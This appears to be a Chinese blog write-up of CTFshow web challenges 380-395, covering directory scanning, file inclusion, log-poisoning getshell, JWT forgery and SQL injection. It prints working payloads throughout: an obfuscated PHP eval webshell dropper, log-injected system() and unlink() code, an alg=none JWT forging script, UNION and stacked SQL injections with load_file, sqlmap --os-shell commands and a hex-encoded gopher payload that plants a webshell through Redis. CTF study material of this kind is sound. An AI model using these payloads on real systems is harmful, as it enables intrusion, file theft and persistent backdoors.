CTFshow刷题日记-WEB-黑盒测试(web380-395)文件包含、日志包含getshell、SQL注入

53 篇文章 30 订阅

web380-扫目录文件包含

扫目录,存在page.php

image-20211004201622196

访问发现报错,$id参数,可能存在文件包含

image-20211004201709344

/page.php?id=flag

image-20211004201821375

web381-读源码找后台地址

page.php已经无法文件包含

看源码有一个可疑的路径

image-20211004203206842

访问这个目录,最后注意一定要带上/

image-20211004203228943

web382-383弱口令加万能密码

上题的/alsckdfy/目录访问之后是个登录界面

burp抓包爆破就行了,p字段,这些都可以拿到flag

image-20211004203956287

web384-爆破密码

提示:密码前2位是小写字母,后三位是数字

这肯定是后台密码了,而账户先盲猜admin

抓包使用intruder模块暴力破解

position只要有两个变量就可以

image-20211004205537928

第一个变量-两位小写的英文字母

image-20211004205556975

第二个变量-三位数字

image-20211004205615785

也可以用脚本生成一个字典

import string
s1=string.ascii_lowercase
s2=string.digits
f=open('dict.txt','w')
for i in s1:
	for j in s1:
		for k in s2:
			for l in s2:
				for m in s2:
					p=i+j+k+l+m
					f.write(p+"\n")
f.close()

爆破的时候可以把现成池调的高一点,爆的快一点

1/676000,账号是admin,密码是xy123

web385-扫目录

扫目录发现install

image-20211004213940103

后台登录,默认账号就是之前几个题都用的账号admin密码admin888

web386-文件删除

存在install页面

image-20211004215928835

还存在一个clear.php页面,访问显示清理完成(一开始用的字典里没有,看了羽师傅的wp,手中常备超大字典啊)

盲猜一波file参数,删个index.php试试

删除文件锁

/clear.php?file=install/lock.dat

再次访问install,重置密码

image-20211004213940103

web387-日志文件包含getshell

提示:前面部分和386一样

扫目录发现robots.txt,提示:disallow:/debug,当然debug目录扫目录也是可以扫到的

image-20211004221036419

需要传入file参数,和上题一样盲猜,反正我是没猜出来看的wp,还是做的题少

直接访问flag.php发现不行

image-20211004221259419

可以通过包含日志文件/var/log/nginx/access.log,getshell

image-20211004223859491

这种方法会报错,而且这是文件包含,写shell也不好传参,不如直接执行命令

image-20211004223946539

方法一:删除文件锁登录后台

image-20211004224042266

<?php unlink('/var/www/html/install/lock.dat')?>

再去访问/install/?install重新安装,然后登录后台

方法二:执行命令读取文件

访问日志文件写入命令,访问的同时命令也就执行了

image-20211004224552857

<?php system('ls /var/www/html > /var/www/html/1.txt');?>

再去访问生成的文件

image-20211004224635481

flag在alsckdfy/check.php

同样先去包含日志文件同时执行命令

image-20211004224857746

image-20211004224912033

web388-无回显加免杀马

debug访问已经变成了一句提示

image-20211006163245186

回到后台目录alsckdfy找线索,爆破目录发现/alsckdfy/editor/目录,是一个文本编辑器,并且存在文件上传点,可以上传图片、zip、rar、html、ppt等一些文件

image-20211006165317614

因为允许上传zip文件,写个一句话把后缀改为zip即可

<?php
$a = '<?ph'.'p ev'.'al($_PO'.'ST[1]);?>';
file_put_contents('/var/www/html/1.php',$a);
?>
# 起到免杀效果    

上传zip一句话木马

image-20211006173727152

上传成功后会提示上传的路径

image-20211006173825823

再去包含文件/debug/?file=/var/www/html/alsckdfy/attached/file/20211006/20211006093704_45260.zip

image-20211006173943883

此时文件内容已经被读取写入日志了,再去包含日志文件/debug/?file=/var/log/nginx/access.log,写入的shell就执行了,生成1.php,访问执行拿到flag

image-20211006174833010

方法二:包含日志写入shell

ua就是一句话木马,最好是免杀的一句话

image-20211006180537082

然后再访问一次/debug/?file=/var/log/nginx/access.log,就会生成shell

image-20211006180656898

web389-伪造jwt

访问debug显示权限不足,f12发现cookie多了auth字段判断权限,而且采用jwt,用jwt.io解密,sub改为admin,因为采用了HS256加密需要找secret,secret可以爆破就是123456

image-20211006195017855

把jwt字符串复制到cookie中,刷新页面提示file not exist

image-20211006195257971

剩下的就和上题一模一样了

image-20211006200136650

再次访问1.php执行命令就行了,另一种方法也是可以的

web390-数字型注入

image-20211006201037200

首页的功能点,发现有传参,估计存在SQL注入

输入单引号没反应判断存在数字型注入

image-20211006202105606

手注:

page.php?id=1 union select 1,(select group_concat(username) from admin_user),(substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)) limit 1,1#

浏览器看源码就行,看了师傅们的语句,这个注入手法真的行

sqlmap:

python sqlmap.py -u http://fdbabc63-b2f3-4050-8b2e-9f5ee609119a.chall.ctf.show/page.php?id=2 --file-read /var/www/html/alsckdfy/check.php --batch

运行完会将文件保存在你的本地,直接访问就拿到flag

方法二:改jwt加密方法

image-20211006205838812

poc

# python2
import jwt

# payload
token_dict = {
    "iss": "admin",
    "iat": 1633525507,
    "exp": 1633532707,
    "nbf": 1633525507,
    "sub": "admin",
    "jti": "5d6279b30cda4893390547dd90151a0a"
}

# headers
headers = {
    "alg": "none",
    "typ": "JWT"
    }   
jwt_token = jwt.encode(token_dict, key='',headers=headers, algorithm="none")  

print(jwt_token)

记得更改iat、exp、nbf、jti,将生成成功的jwt字符串复制到浏览器中刷新页面,剩下的就和之前一样了

image-20211006210712353

web391-392字符型注入

发现页面功能多了一个输入框

image-20211006212555923

同样存在注入

/search.php?title=aa' union select 1,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255),3 limit 0,1%23

# sqlmap
python sqlmap.py -u http://042a780b-dfd3-4bd9-861c-81661b2915e0.chall.ctf.show/search.php?title=1 --file-read /var/www/html/alsckdfy/check.php --batch

web392只不过是换了flag的位置

search.php?title=aa%27%20union%20select%201,substr((select%20load_file(%27/flag%27)),1,255),3%20limit%200,1%23

#sqlmap
python sqlmap.py -u http://175efaca-626f-46a6-bddd-68246b90c5f5.chall.ctf.show/search.php?title=1 --os-shell

也可以用389的方法

web393-堆叠注入

在主页最下方发现搜索引擎功能

image-20211007160039219

image-20211007160124201

后台应该是根据这里传入的id值到数据库中查询url,然后访问url,返回访问结果,存在ssrf

先用sqlmap跑出来数据库的表名和列名

利用堆叠注入插入数据

search.php?title=1';insert into link values(10,'a','file:///flag');

然后访问link.php?id=10

web394-395堆叠注入加绕过

和上题一样只不过需要16进制绕过

search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);

非预期解

攻击redis服务,fastcig
就是把上面的16进制改成攻击redis或者fastcgi的payload
然后访问下就可以了
但是前面要做一些工作,题目中的url字段默认长度最长为255所以我们需要修改下,
payload:

search.php?title=1';alter table link modify column url text;

然后就可以打相应的服务了。具体可以参考ssrf篇的360。
发下我的payload吧

search.php?title=1';insert into link values(11,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323432382530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542312535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);

然后访问link.php?id=11就会生成abc.php 密码是1

参考链接

https://blog.csdn.net/miuzzx/article/details/112522873

http://39.105.134.199/2021/07/29/7734.html

来个一键三连支持下博主好么🌹🌹🌹🌹🌹🌹

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OceanSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值